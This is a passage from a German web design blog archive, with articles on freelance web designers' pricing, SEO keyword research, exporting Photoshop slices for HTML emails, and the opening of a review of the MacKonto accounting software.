Für kleinere und begrenzte Projekte greife ich gerne auf einen Stundensatz zurück, da ich leider häufig unterschätze, wie viel Zeit einfache Aufgaben in Anspruch nehmen, und dabei schon öfter draufgezahlt habe. Egal wofür ich mich entscheide, ich nenne meinen Kunden vorab eine gewisse Summe und von der weiche ich nie sehr weit ab.“

Wie weit soll ich mit dem Preis nach unten gehen?

Sich weit unter dem Preis der Konkurrenz zu verkaufen kann verführerisch sein, vor allem, wenn Sie von diesem Einkommen Ihre Ausgaben auch decken können. Es hat den Anschein, als bedeutet billig auch mehr Aufträge und mehr Kunden. Aber von dieser Versuchung sollten Sie die Finger lassen: nicht alle Kunden halten ein niedriges Honorar bei einem Webdesigner für ein Plus. Viele Interessenten kommen zu dem Schluss, dass es einen Grund dafür geben muss, warum Ihr Honorar so viel niedriger ist als das von Kollegen mit ähnlichen Angeboten und Qualifikationen. Vielleicht sind Ihre Resultate nicht einwandfrei, oder Sie arbeiten besonders langsam – ein niedriger Preis wird eher mit einem Problem in Verbindung gebracht als mit dem Versuch des Designers, die Konkurrenz zu unterbieten.

Berechnen Sie Ihren gesamten Zeitaufwand mit ein

Wenn Sie alles betrachten, was Sie bei Ihren Berechnungen bedenken müssen, werden Sie noch eine weitere Facette entdecken. Viele Berufsanfänger stellen nämlich nur die Zeit in Rechung, die sie für Design und Erstellung der Website benötigen. In ihren Anfängen als Webdesigner vor etwa neun Jahren ist auch Main in diese Falle gegangen. Jetzt fließen noch weitere Faktoren in ihr Honorar mit ein:

„Damals haben wir den Zeitbedarf für die E-Mail-Korrespondenz und die gesamten Gestaltungsprozesse nicht berechnet. Heute stoppen wir auch diese Zeiten und rechnen sie entsprechend mit ab.“

Außer Ihrer eigentlichen Arbeitszeit am Design einer Website sollten Ihre Kunden auch noch für weitere Arbeitseinsätze aufkommen:

  • Überarbeitung: Nur ganz selten sind Ihre Kunden mit Ihrer Lösung auf Anhieb zufrieden, aber Sie können Ihnen den Zeitaufwand für Änderungsarbeiten gesondert in Rechnung stellen.
  • Erläuterungen: Es gibt Kunden, mit denen verbringen Sie Stunden, um ihnen immer wieder zu erklären, was alles zum Design einer Website gehört. Dies ist Arbeitszeit am Projekt, die der Kunde zu bezahlen hat.
  • Hosting: Einige Webdesigner vermitteln auch das Einstellen der Website, wenn sie es nicht gleich ganz mit übernehmen. Auch die dafür anfallenden Kosten können Sie auf den Kunden übertragen.

Ihre Preise rechtfertigen

Es wird immer wieder Kunden geben, die wissen wollen, wie sich Ihre Preise zusammensetzen. Dies geschieht häufiger bei Kunden, die mit der Erstellung von Websites und der damit verbundenen Arbeit nicht vertraut sind, es gibt aber keinen festen Kundentyp dafür. Solange Sie erläutern können, wie sich Ihre Preise zusammensetzen – und dabei nicht mit sich handeln lassen – sind die meisten Kunden aber gerne bereit, mit Ihnen zusammenzuarbeiten. Green hat Kunden erlebt, die mit ihm um sein Honorar gefeilscht und gehandelt haben:
„Wir sind hart geblieben, also haben sie sich jemand anderen gesucht…der Kunde, der uns erst nicht wollte, weil wir im Preis nicht heruntergegangen sind, ist schließlich doch wiedergekommen, nachdem er von der Konkurrenz nicht DAS bekommen hat, was er wollte.“

Wenn ein Interessent anfängt, mit Ihnen über den Preis zu verhandeln, kann es schwer werden, hart zu bleiben – und sei es nur, weil Sie das Projekt haben wollen, selbst wenn Sie mit Ihren Preisvorstellungen nach unten gehen müssten. Aber es gibt viele Gründe für einen Webdesigner, einen hohen Preis zu verlangen und auch zu bekommen:
Sie können ein Projekt erheblich schneller umsetzen als ein Amateur. Es ist günstiger, Ihren Stundensatz zu zahlen und das Ergebnis schnell zu erhalten, als einen Laien damit zu beauftragen, der Wochen oder gar Monate dafür braucht.

Sie liefern mehr als nur ein Design – Sie kümmern sich um das gesamte Projekt, vom Designkonzept bis zum fertigen Inhalt. Sie sind ein Geschäftsmann. Ihre Kunden feilschen im Laden auch nicht um den Preis.

Für einen Neuling im Webdesigngeschäft kann es schwer sein, die Kosten für ein Projekt ausreichend hoch anzusetzen, weil ihm ganz einfach das Selbstvertrauen fehlt. Je mehr Erfahrung und Selbstvertrauen Sie gewinnen, umso leichter wird es für Sie, höhere Preise von Ihren Kunden zu verlangen, ohne zu befürchten, den Kunden zu übervorteilen.

Die Preise wachsen mit der Erfahrung und Expertise

Stephanie Hobbs ist Webdesignerin aus South Carolina. Ihre Preise sind mit ihrem Selbstvertrauen gestiegen:

„Als ich 2003 ins Geschäft eingestiegen bin, habe ich für meine erste Website 450 US Dollar für 5 Seiten verlangt. Sobald ich meinen Zeitbedarf besser einschätzen konnte, habe ich für vier Seiten 600 Dollar verlangt. Je besser ich wurde, umso höher habe ich auch meinen Stundensatz angesetzt, und ein solcher Auftrag kostete erst 800 Dollar, dann 1.000 Dollar und nun 1.200 Dollar. Zu Beginn habe ich einen Stundensatz von 40 Dollar berechnet (na ja, vielleicht waren es auch 50 Dollar), jetzt liegt er bei 75 Dollar. Ich konnte meine Preise anheben, da sie aufgrund meines mangelnden Selbstbewusstseins zu Beginn einfach sehr niedrig waren.“

Wann soll ich meine Preise erhöhen?

Ihre Preise von heute müssen nicht notgedrungen in einem Jahr noch gültig sein. Je mehr Erfahrung Sie sammeln und je bekannter und renommierter Sie werden, desto wertvoller werden Sie für Ihre Kunden. Die Zahl Ihrer abgeschlossenen Projekte belegt, welchen Wert Ihre Arbeit hat. Das ermöglicht Ihnen, Ihre Preise anzuheben – und das sollten Sie auch tun.

Zu Beginn ihrer selbstständigen Tätigkeit lag Vogels Stundensatz bei 25 Dollar. Sie ist der Ansicht, dass es ein schlechtes Zeichen ist, wenn sich Kunden nicht über den Preis beschweren: „Wenn sich Neukunden nicht beschweren, sind Ihre Preise zu niedrig.“

Bei jeder Preiserhöhung hat Vogel parallel neue Angebote nach ihrer neuen Preisliste erstellt und ihre Stammkunden benachrichtigt.

Jedes Mal, wenn ich meine Preise erhöht habe, habe ich meine Kunden darüber informiert und ihnen erläutert, wie es dazu kommt. Sie haben immer genug Zeit bekommen, sich gegen eine weitere Zusammenarbeit mit mir zu entscheiden. Aber trotz meiner Preiserhöhungen habe ich nicht einen einzigen Kunden verloren.

Der richtige Zeitpunkt für eine Preiserhöhung

Es ist manchmal ganz schön schwierig, den richtigen Zeitpunkt für eine Preiserhöhung zu finden, besonders bei Stammkunden oder wenn Sie gerade ein Angebot für ein neues Projekt abgegeben haben. Bei Neukunden geht das viel einfacher: Wenn Sie ein neues Projekt besprechen, müssen Sie nur die neuen Preise nennen. Bei Stammkunden kann es Ihnen passieren, dass die sich so sehr an Ihre Preisangebote gewöhnt haben, dass sie für Ihre Dienste nicht mehr ausgeben wollen. Es gibt ein paar einschneidende Momente, wo es leichter ist, Ihre neue Preisliste an den Mann zu bringen:

Der Jahresanfang: Gegen Jahresende können Sie ganz einfach Ihre Kunden benachrichtigen, dass Sie zum 1.1. Ihre Preise erhöhen. Wenn Sie nicht so lange warten wollen, geht dies auch zu Beginn eines neuen Monats.

Neue Projekte: Wenn Ihr Kunde mit einem neuen Projekt zu Ihnen kommt, ist dies der ideale Zeitpunkt, über Ihre neuen Preise zu sprechen. Sie können erläutern, dass Sie in Zukunft für jedes Projekt ein höheres Honorar verlangen. Gleichzeitig haben Sie die Gelegenheit, mit dem Kunden in Ruhe darüber zu reden.
Verträge: Bei Dienstleistungsverträgen, zum Beispiel über kontinuierliche Wartungsarbeiten, sollte stets eine Laufzeit vereinbart werden. Läuft dieser Vertrag aus und soll verlängert werden, ist das für Sie der ideale Zeitpunkt, Ihre Preiserhöhung aufs Tapet zu bringen.

Eine Preiserhöhung bedeutet nicht automatisch, dass Sie auch mehr verdienen: Wenn Sie, wie Hobbs, auch Rabatte geben wollen, sind höhere Sätze unumgänglich:
„Mitglieder meiner Netzwerkgruppen erhalten einen Preisnachlass von 20%, gemeinnützige Organisationen 30% (das ist teilweise der Grund dafür, warum ich mein Honorar auf $1000 angehoben habe… Ich komme meinem selbstgesetzen Umsatzziel sogar näher als erwartet, da viele meiner Kunden Mitglieder in meinem Netzwerk sind).“

Die Preise da draußen – ein paar Beispiele als Anhaltspunkt

All diese Informationen zur Preisgestaltung reichen Ihnen nun vielleicht immer noch nicht aus, um entscheiden zu können, wie viel Ihre Arbeit als Webdesigner wert sein soll. Ein Vergleich mit Kollegen ist wichtig, um einschätzen zu können, ob Ihre Preisvorstellungen angemessen sind.

Mary-Frances Main verlangt für gewöhnlich einen Stundensatz von 60 Dollar für Webdesignarbeiten. Für Programmierungsarbeiten berechnet sie 72 Dollar pro Stunde, für Flash sind es 65 Dollar.

Noel Green verlangt zwischen 2.500 und 5.000 Dollar für eine komplette Website und gibt eine Liefergarantie von 4 Wochen für die Projekte. Projekte, deren Kosten sich am oberen Ende der Preisspanne bewegen, umfassen normalerweise noch komplexere Funktionen, wie zum Beispiel einen Warenkorb.

Dixie Vogel verlangt für gewöhnlich einen Stundensatz zwischen 60 und 80 Dollar für Webdesignarbeiten.

Stephanie Hobbs verlangt ab 1.200 Dollar für eine vierseitige Website, dazu kommen die Aufschläge für größere Projekte und Extrafunktionen wie Flash.

Die Preisunterschiede bei diesen Webdesignern hängen von ihrem Wohnort, aber auch ihrer Berufserfahrung und dem Kundentyp ab, mit dem sie am liebsten zusammenarbeiten. Aber jeder Einzelne von ihnen hat sich genau überlegt, wie viel er verdienen muss, wie weit die Preise von der Konkurrenz abweichen und wo und wie eine Preiserhöhung möglich ist.

(mm),

Kategorien
SEO & Online-Marketing

SEO: Am Anfang war das Wort … das Keyword

Kay A. Schönewerk

Die SEO-Profis unter uns wissen es bereits: Der sprichwörtliche Schlüssel für eine erfolgreiche Optimierung von Webseiten sind gute Keywords.

Der Weg zum guten Keyword

Vor der eigentlichen Keyword-Recherche sollten grundlegende Fragen beantwortet werden:

  • Was soll mit der Website erreicht werden? Je nachdem, ob es vordergründig um Information oder Verkauf geht, fallen Begriffe weg oder in die nähere Auswahl. Welche Zielgruppe soll angesprochen werden? Denn eine zielgruppengerechte Ansprache hat ebenso Auswirkungen auf die richtigen Keywords.
  • Wo hält sich die Zielgruppe auf – in Foren, Blogs oder Sozialen Netwerken?
  • Welche Landessprache und welche Zielgruppensprache spricht sie: Sind es junge Menschen, alte Menschen – verwendet sie eher Fremdwörter oder Inbegriffen und Slang?

Bauchgefühl und Vermutungen reichen für eine langfristig erfolgreiche Optimierung nicht aus.

Keyword-Recherche im Vier-Punkte-Plan

Zielgruppenbefragung: Ein Umfrage verrät viel über einen Menschen und dessen Sprachgebrauch: „Was würden Sie eingeben, wenn Sie ein Produkt X suchen, kaufen oder sich darüber informieren wollen?“ Die Auswertung der Ergebnisse liefert sodann qualitative Schlüsselwörter aus erster Hand.

Content-Recherche: Als SEO sollte man die Websites kennen, die den eigenen Leistungen ähnlich sind. Sowohl die Begriffe, die dort genutzt werden, also die Keywords der Konkurrenz, als auch verwandte, das heißt semantische ((BEGRIFF FALSCH VERWENDET)), Wörter spielen für die eigene Optimierung eine bedeutende Rolle.

Teamarbeit: Kollegen aus verschiedenen Unternehmensabteilungen sollten am besten wissen, welche Begriffe die eigene Leistung beschreiben oder andersherum lieber nicht damit in Verbindung gebracht werden sollten. Sie stehen zudem im direkten Kundenkontakt und können herausfinden, wie sie auf das eigene Unternehmen aufmerksam geworden sind, sprich fragen: „Was haben Sie bei Google & Co. eingegeben, wodurch Sie uns gefunden haben?“

Die Wahrheit der Zahlen: Die Keyword-Ergebnisse aus den ersten drei Punkten sind rein qualitativ. Für die finale Entscheidung, ob es sich lohnt, auf ein Keyword zu optimieren, bedarf es jedoch quantitativer Zahlen, beispielsweise zum tatsächlichen Suchvolumen und der Konkurrenz.

Tools, tools, tools…

Es gibt mittlerweile unzählige SEO-Keyword-Tools von den verschiedensten Anbietern wie Sistrix oder Linkvendor, um nur zwei zu nennen. Diese Programme sind zum Teil kostenfrei, nur zusätzliche Module erfordern eine Bezahlung. SEO-Verantwortliche in einem Unternehmen sollten sich jedoch auf ein Tool festlegen, um vergleichbare Daten zu erhalten, denn die Bewertungsfaktoren sind von Tool zu Tool unterschiedlich.

Keyword-Dichte: Um herauszufinden, welche Keywords auf einer Seite beispielsweise beim Wettbewerb verwendet werden, gibt es Tools, die die Keyword-Dichte anzeigen. Das heißt Sie zählen die Anzahl der Schlüsselwörter, generisch sowie Long Tail, und geben diese samt Prozentzahl als Ergebnis aus.

Thesaurusprogramme: Für eine gute Content-Optimierung von Websites ist es wichtig, neben den definierten Keywords auch verwandte semantische Begriffe zu verwenden. Geeignete Programme hierfür sind beispielsweise openthesaurus.de oder das Google Wunderrad. Denn die augenscheinlich zutreffendsten Keywords haben zwar ein hohes Suchvolumen, sind dafür aber auch hart umkämpft. Das heißt, der Wettbewerb ist sehr stark, sodass die Wahrscheinlichkeit, bei Suchdiensten auf die vordersten Platzierungen zu gelangen, gering ist. Verwandte Begriffe haben den Vorteil der geringeren Konkurrenz und somit höheren Wahrscheinlichkeit.


Googles Wunderrad zeigt verwandte Begriffe, die von Suchmaschinennutzern eingegeben werden. Hier am Beispiel ‚SEO‘ und ’seo optimierung‘. QUELLE: Screenshot

Suchvolumen und Konkurrenz: Beide Kriterien sind abhängig voneinander ausschlaggebend, ob es sich lohnt, auf ein Keyword zu optimieren oder nicht. Es ist jedoch schwierig, beide Angaben aus den Suchmaschinen in ein Tool zu überführen. Zumal Google eine Sperre verhängt, wenn sich zu viele Programme beziehungsweise Nutzer Informationen aus Googles Datenbank herausziehen. Daher geben viele Tools, wie das von Sistrix, nur das Suchvolumen aus oder man muss mehr Geld investieren, um solche zusätzlichen Funktionen nutzen zu können. Ein Tipp ist hierbei auf das freie Goolge Adwords Keyword-Tool zurückzugreifen. Angelegt für die Schaltung von bezahlten Anzeigen, liefert dieses Tool genau die Daten, die auch für eine gute Keyword-Optimierung von Nöten sind. Praktisch ist zudem die Sortierfunktion nach Relevanz, Suchvolumen oder Konkurrenz und die Exportierfunktion als Excel Tabelle.

Google Adwords Tool – bitte klicken, um die komplette Abbildung anzuzeigen.  QUELLE: Screenshot

Ist die Keyword-Recherche abgeschlossen, müssen die einzelnen Wörter aus der Liste für die jeweiligen Pages der Websites festgelegt werden, und die Content-Optimierung kann losgehen. Da sich jedoch die Suchalgorithmen und Rankingfaktoren der Suchdienste ständig ändern und immer wieder neue Tools entwickelt werden, die genauere Daten liefern, können die heute festgelegten Keywords so bereits morgen schon obsolet sein. Daher ist eine kontinuierliche Keyword-Pflege, Beobachtung und Analyse, notwendig für eine langfristig erfolgreiche Suchmaschinenoptimierung.

Über Kay A. Schönewerk:

Als Inhaber der SEO-Agentur 4iMEDIA SEO Professionals in Leipzig weiß Kay A. Schönewerk um die hohe Bedeutung der Suchmaschinenoptimierung. Spezialisiert auf die Erstellung von SEO-Content und Universal Search Optimierung für zahlreiche Kunden gehören Keyword-Recherche sowie Keyword-Analysen zum täglichen Handwerk der SEO-Redaktion.

Kategorien
Bilder & Vektorgrafiken bearbeiten Design Photoshop Webdesign

Slices: Bilder fürs Web mit Photoshop aufbereiten

Photoshop bietet mit dem Dialog Für „Web und Geräte speichern …“ zahlreiche Exportmöglichkeiten von Grafiken und Fotos fürs Internet. In diesem abschließenden Beitrag der Artikelserie geht es um das Erstellen und Exportieren von Slices.

Moderne Webentwicklung konzentriert sich auf semantischen HTML-Code und sauberes CSS. So ideal ist es leider nicht immer gelaufen. In den frühen Jahren des Internet waren Webdesigner und -entwickler darauf angewiesen, Weblayouts mit Tabellen zu realisieren. Dies erforderte perfekt ausgerichtete Tabellenzellen, so dass die darin enthaltenen Bilder nahtlos zusammengefügt wurden.

Ein ziemlicher Fummelkram also. Um diesen Prozess zu beschleunigen, führte Adobe die Photoshop-Slices ein. Dieses einfache Tool half Webworkern dabei, exakt zu definieren, an welcher Stelle Grafiken und Fotos geschnitten werden und dann als einzelne Bildelemente in Webprojekte zu exportieren. Der passende  HTML-Code, mit dem die Tabellen erstellt und zusammengesetzt werden, wird von Photoshop gleich mitgeliefert.

Ideales Layout-Tool für HTML-E-Mails

Während die moderene Webentwicklung HTML-Tabellen-Layouts hinter sich gelassen hat, finden solche Tabellen noch immer Verwendung. Für HTML-Newsletter beispielsweise. Da HTML-E-Mails je nach Client mit stark variierender und zudem meist magerer CSS-Unterstützung zu kämpfen haben, sind HTML-Tabellen eine gutes Mittel, um ein möglichst verlässlichliches Layout zu erreichen. Slices sind daher nach wie vor relevant.

Slices mit Photoshop erstellen

Mit dem Slices Tool, das Sie über das Tastaturkürzel K aufrufen können, sind Slices schnell erstellt. Einfach klicken und ein Rechteck aufziehen. Die Flächen rund um Ihr Slice werden logisch in weitere Slices – so genannte Auto-Slices – unterteilt.

Auto-Slices funktionieren genau so wie Benutzer-Slices, allerdings gibt es eine Ausnahme: Die Größe können Sie nicht direkt verändern. Sie können Auto-Slices jedoch in Benutzer-Slices um wandeln. Dazu verwenden Sie das in der folgenden Abbildung dargestellte Slice-Auswahl-Werkzeug, aufzurufen über Shift + C.


Dieses Icon finden Sie im Flyout-Menü des Freistellen-Werkzeugs.

Nachdem Sie das Slice-Auswahl-Werkzeug aktiviert haben, klicken Sie das gewünschte Slice mit der rechten Maustaste an und wählen aus dem Kontextmenü den Befehl In Benutzer-Slice umwandeln.

Jedes Slice wird von einem Rahmen umschlossen. Jeder Slice ist entsprechend seiner Position im gesamten Bild mit einer fortlaufenden Nummer versehen, die oben links in diesem Rahmen angezeigt wird.

Eine E-Mail mit Slices; die Rahmen bilden die Tabellenzellen.

Nach dem Sie ein Slice erstellt haben, können Sie dessen Größe verändern, indem Sie den begrenzenden Rahmen aufziehen oder zuschieben. Sie können ein Slice auch verschieben, indem Sie den Inhalt an eine andere Stelle ziehen. Wenn ein Slice ein anderes überlappt, entscheidet die Stapelreihenfolge, wie das Bild aufgeteilt wird.

Stapelreihenfolge ändern

Die Reihenfolge von Benutzer-Slices können Sie ändern, indem Sie ein Slice mit dem Slice-Auswahl-Werkzeug aktivieren und anschließend über die Schaltflächen in der Optionsleiste nach vorne oder hinten verschieben. Slices, die im Stapel weiter oben liegen, haben Vorrang vor den weiter unten liegenden.

Über diese Buttons können Sie die Reihenfolge ändern.

HTML-Tabelle über Speichern für Web und Geräte exportieren

Ein Slice stellt wie gesagt eine Tabellenzelle dar und Photoshop kann das für die gesamte Tabelle erforderliche HTML erstellen und exportieren. Das erledigen Sie über den Dialog Speichern für Web und Geräte im Menü Datei.

Wenn Sie in diesen Dialog aufrufen, während ein Bild mit Slices geöffnet ist, ändert sich ein paar Dinge geringfügig. Es sind nach wie vor dieselben Dateiformate und Optionen verfügbar, aber Sie können für die einzelnen Slices jeweils eigene Einstellungen vornehmen.

Verwenden Sie das Slice-Auswahl-Werkzeug in der linken oberen Ecke des Dialogfensters, um eines oder mehrere Slices auszuwählen. Wählen Sie dann die Kompressionsverfahren für die ausgewählten Slices. Die Nichtausgewählten bleiben von diesen Einstellungen unberührt. Sie können auch ganz einfach alle Slices auswählen und eine globale Einstellung auf die gesamte Auswahl anwenden.

Tipp: Oftmals gelingt es, die Dateigröße zu reduzieren, indem Sie für die einzelnen Slices individuelle Einstellungen verwenden. Beim obigen Beispiel etwa, können Sie für den großen Bildbereich das Format JPEG mit einer hohen Kompressionsstufe wählen, während die unteren Slices mit Text das speicherplatzintensivere PNG-Format benötigen.

Verborgene Einstellungen

Jedes Slice hat zudem einige verborgene Einstellungen, die sich auf die Tags im HTML-Code auswirken. Mit einem Doppelklick öffnen Sie das Dialogfenster Slice-Optionen.

Der Dialog Slice-Optionen

Über den oben abgebildeten Dialog können Sie die umfangreiche Einstellungen vornehmen – am häufigsten werden Sie wohl diese benötigen:

  • Slice-Typ: Wenn das Slice kein Bild enthält, können Sie den Eintrag Kein Bild aus der Auswahlliste wählen. Das hat den Vorteil, dass Sie statt dessen Text oder anderen HTML-Code in die jeweilige Zelle eintragen können.
  • Name: Hier können Sie Eintragungen wie „Header“, „Footer“, „Inhalt“ und ähnliches vornehmen.
  • URL: Sie können dem Slice auch einen Link zuweisen und die entsprechende URL einfach in dieses Feld eintragen.
  • Ziel: Sofern Sie einen Hyperlink gesetzt haben, können Sie in diesem Feld festlegen, ob der Link in einem neuen oder im selben Fenster geöffnet werden soll.
  • Meldungstext: Texteingaben, die Sie in diesem Feld vornehmen werden angezeigt, wenn die Anwender mit dem Mauszeiger über das jeweilige Bild fahren.
  • Alt-Tag: Der Eintrag aus diesem Feld wird ins Alt-Tag des HTML-Codes übernommen.

Bestätigen Sie Ihre Eingaben im Dialog Slice-Optionen jeweils mit OK. Wenn Sie sämtliche Slices optimiert haben, drücken Sie die Schaltfläche Speichern. Daraufhin öffnet sich der folgende Dialog.

Hier legen Sie die Export-Optionen fest.

Die Auswahlliste Format bietet Ihnen die Optionen Nur Bilder, Bilder und HTML beziehungsweise Nur HTML.

Über die Auswahlliste Einstellungen können Sie bestimmen, wie die Bilder exportiert werden und wie der HTML- beziehungsweise XHTL-Code aussehen soll. Über die Option Andere bekommen Sie einen weiteren Dialog mit zahlreichen Optionen für den Export angezeigt. Darin können Sie neben Vorgaben für den Quellcode und Dateikompatibilität unter anderem auch Roll-Over-Effekte für bestimmte Slices festlegen.

Die Option Andere öffnet den Dialog Ausgabeeinstellungen.

Mit einem Klick auf Speichern, werden die Slices als einzelne Bilder exportiert und – sofern Sie die Option wie im obigen Bildschirmfoto aktiviert haben – in einem eigenen Ordner namens „images“ abgelegt. Der HTML-Code wird geschrieben und als separate Datei gespeichert. Soweit, so gut.

Oder auch nicht gut. Photoshop kann Ihnen zwar eine Menge Arbeit abnehmen und den HTML-Code automatisch erstellen. Optimal ist dieser Code sicherlich nicht und – so ist der XHTML-Export beispielsweise auf den „Transitional“ beschränkt. XHTML Strict ist nicht vorgesehen. Sie sollten den Code daher zumindest prüfen und ein wenig bereinigen.

Thomas Giannatasio (Übersetzung Manuela Müller)
Kategorien
Webdesign

MacKonto – Buchhaltung mit Offener-Posten-Verwaltung für den Mac

von Dominic Pick

Viele freiberuflich Tätige und vor allem Solo-Selbständige plagen sich mit der Frage, welche Software sie für ihre täglich anfallenden Büroarbeiten nutzen sollen. Hauptprobleme dabei sind der unüberschaubare Markt an Software für Windows-Systeme und ein gewisser Mangel an Spezial-Software für Mac und Linux – zum Beispiel Buchhaltungsprogramme. Besonders schwierig ist es, effektive, aber dennoch leicht verständliche und anwenderfreundliche zu finden.

Die meisten Softwareprodukte, wenn es sie den überhaupt für Mac und Linux gibt, sind in Bezug auf die für Freiberufler und Selbständige zu erledigenden Arbeiten oft viel zu überdimensioniert. Solche Softwareprodukte, die dann selbstverständlich nicht ganz preiswert und damit besonders für Existenzgründer und Einzelkämpfer schlecht zu verkraften sind, bieten dem Anwender viel zu viele Module an, die häufig nicht genutzt werden.

Daher habe ich mich auf die Suche nach einer einfachen und dabei die wichtigsten Aufgaben abdeckende Softwarelösung gemacht. Doch was sind eigentlich die wichtigsten Aufgaben?

Wenig beliebt, aber oberste Pflicht: Die Buchhaltung

Die wichtigste Aufgabe, wenn es um die Verwaltung der eigenen selbständigen Tätigkeit geht, ist mit Sicherheit die korrekte Erledigung der Buchführung. Ich bin bei meinen Recherchen auf ein gut programmiertes und sehr umfassendes, daher meiner Meinung nach vollkommen ausreichendes, Programm gestoßen.

Das Produkt „MacKonto“, welches aktuell in der Version 7 verfügbar ist, wird von der Berliner Softwareschmiede msu Berlin produziert und ständig weiterentwickelt. Die Firma msu Berlin hat sich auf die Entwicklung und Produktion von kaufmännischer Software speziell für Apple Computer spezialisiert. Das Programm „MacKonto“ bietet dem freiberuflich Tätigen oder Selbständigen alle benötigten Bausteine, um seine Buchhaltung behördenkonform abzuwickeln.

Hinweis: Bevor wir nun mit der ausführlichen Vorstellung dieses Programms beginnen noch zwei kurze Anmerkungen und Hinweise. Dieser Artikel beschreibt lediglich anhand einiger Beispiele den Umgang mit dem Programm. Ich werde Ihnen folglich zeigen, wie Sie die wichtigsten Vorgänge mit dem Programm „MacKonto“ abbilden können. Ich werde Ihnen jedoch nicht sagen oder zeigen, wie Sie korrekte Buchungen durchzuführen haben. Dies kann und darf auch per Gesetz nur Ihr Steuerberater tun. Deshalb konsultieren Sie bitte, sofern Sie fragen zu einzelnen Buchungsvorgängen haben (wie wird was auf welches Konto gebucht?) Ihren Steuerberater.

Und zweitens enthält das Programm „MacKonto“ ausschließlich die Module für die Abwicklung der Buchhaltung. Falls Sie die Abbildung der Faktura oder von Projekten wünschen, so bietet die Firma msu Berlin auch die Erweiterung der Software mit entsprechenden Modulen an oder Sie haben auch die Möglichkeit entsprechende Vollversionen zu erwerben. Für die Faktura empfehle ich Ihnen das Programm „msuFakt“ und für die Projekterfassung das Programm „msuProjekt“. Allerdings schlagen diese Programme erheblich kräftiger zu buche, als die Software „Mackonto“. Daher habe ich mich für das Programm „Mackonto“ entschieden.

Wenn Sie wissen möchten, wie Sie Ihre Unterlagen in den Griff bekommen, dann empfehle ich Ihnen meinen Artikel Kampf dem Papierberg: Effizientes Ablagesystem für Briefe, Verträge und Dateien. Dieser Artikel beschreibt ausführlich, wie Sie Ihre Papierablage und Ihre digitale Ablage ordnen und im Griff behalten und das ohne gleich tausende Euro für entsprechende Programme auszugeben.

Die Installation und der erste Start des Programms

Sie können sich das Programm von der Internetseite der Firma msu Berlin unter www.msu.de herunterladen. Sie haben dabei die Wahl zwischen der Vollversion und einer Demoversion. Die Demo ist in vollem Umfang funktionsfähig (ausgenommen das Online-Banking und die Elsteranwendung). Sie dürfen die Demo lediglich maximal 30 Tage testen. Danach müssen Sie die Vollversion erwerben. Die Installation der Software erfolgt appletypisch indem Sie einfach den Ordner mit der Software in den Ordner Programme ziehen.

Beim ersten Start der Software haben Sie die Möglichkeit eine neue Datenbank anzulegen. Dieser können Sie dann einen entsprechenden Namen geben. Danach müssen Sie noch einige wichtige Daten zu Ihrer Firma eintragen. Unter anderem Name des Unternehmen, Adresse, Inhaber, zuständiges Finanzamt usw. Ferner muss auch noch ein Bankkonto für das Online-Banking angelegt werden. Mit einem weiteren Klick gelangen Sie dann zur Schaltzentrale des Programms.

Die Zentrale – Das Zentrum der Buchhaltung in „Mackonto“

Über die Zentrale der Software gelangen Sie in alle Bereiche des Programms. In Abbildung 1 sehen Sie die Zentrale, nachdem Sie das Programm gestartet haben. Links sehen Sie alle für die ordnungsgemäße Buchhaltung wichtigen Funktionen. Rechts daneben wird der aktuelle Finanzstatus aufgeführt. Dies ist sehr komfortabel, damit Sie immer auf den ersten Blick sehen, ob sie noch liquide sind oder ob es Probleme gibt.

Die Funktionen im Einzelnen sind:

  • Der Button „Konten“: Über diesen Button gelangen Sie zur Kontenübersicht. Je nachdem welchen Kontenrahmen Sie gewählt haben sehen Sie hier alle voreingestellten Konten. Über diese Funktion haben Sie auch die Möglichkeit neue Konten und entsprechende Unterkonten anzulegen. So können Sie den vordefinierten Kontenrahmen ganz Ihren Bedürfnissen anpassen.
  • Der Button „Online-Banking“: In diesem Bereich erhalten Sie einen Überblick über Ihre eingerichteten Bankkonten. Sie können hier auch die entsprechenden Saldenlisten und Auftragslisten einsehen. Sie können auch jederzeit neue Konten für das Online-Banking einrichten.
  • Der Button „Firmen“: Unter „Firmen“ können Sie alle Ihre Lieferanten, Kunden und sonstigen Geschäftspartner mit kompletter Anschrift einrichten. Dies ist wichtig und sinnvoll, damit Sie bei späteren Buchungen die jeweiligen Buchungen auch den Firmen zuordnen können. Denn unter der Registerkarte „Finanzen“ sehen Sie alle Buchungen und offenen Posten die den jeweiligen Geschäftspartner betreffen, vorausgesetzt Sie haben bei den Buchungen eine Firma angegeben. Doch dazu im Abschnitt „Die erste Buchung“ mehr.
  • Der Button „Offene Posten“: In diesem Bereich finden Sie alle offenen Posten, egal ob es sich um Forderungen oder Verbindlichkeiten handelt, aufgelistet. Sie können nach Forderungen oder Verbindlichkeiten trennen.
  • Der Button „Reisekosten“: Hier erhalten Sie einen Überblick über die eingegeben Reisen. In diesem Modul können Sie selbstverständlich auch neue Reisen eingeben.
  • Der Button „Buchen“: Dies ist sozusagen das Herzstück der Buchhaltung. Hier können Sie alle anfallenden Belege, Einnahmen, wie auch Ausgaben, verbuchen.
  • Die Funktion „Kasse / Bank“: In diesem Bereich können Sie sich einen Überblick über die bisher getätigten Buchungen in der Kasse oder bei den Bankkonten verschaffen.
  • Der Button „Journal“: Hier werden alle Buchungen exklusive der offenen Posten aufgeführt. Erst wenn ein offener Posten bezahlt wurde, wird dieser in das Journal übernommen. Einen Überblick über die offenen Posten erhalten Sie über den Button „Offene Posten“.
  • Die Buttons „Anlagen“ und Fahrtenbuch“: Diese beiden Button sind für die entsprechenden Abschreibungen, also die sogenannte AfA und das Führen des Fahrtenbuches zuständig. Erst müssen Sie jeweils ein Anlagegut oder ein Fahrzeug anlegen und dann können Sie es abschreiben, beziehungsweise eine Fahrt eintragen.
  • Die Button „USt. & Elster“ und „EÜR & Steuern“: Diese beiden Button sind für die Abwicklung der Umsatzsteuervoranmeldungen, der Dauerfristverlängerungen und des amtlichen EÜR Formulars zuständig. Mit diesen Button können Sie die entsprechenden Formulare erstellen und an das Finanzamt übermitteln.
  • Der Button „Liquidität“: Wie der Name schon sagt, erhalten Sie über diese Funktion einen umfassenden Überblick in Bezug auf Ihre finanzielle Situation. Damit wissen Sie zu jeder Zeit, ob Sie noch liquide, also flüssig sind, oder nicht.
  • Der Button „Berichtscenter“: Hier können Sie entweder unter voreingestellten Berichten auswählen oder auch selbst Berichte, speziell nach Ihren Anforderungen, erstellen. Es gibt viele verschiedenen berichte. Unter anderem können Sie sich eine Auflistung des Journals erstellen und anzeigen lassen oder auch eine Liste der offenen Posten. Diese Berichte können Sie dann natürlich auch ausdrucken und abheften.

Vorbereitungen für die erste Buchung

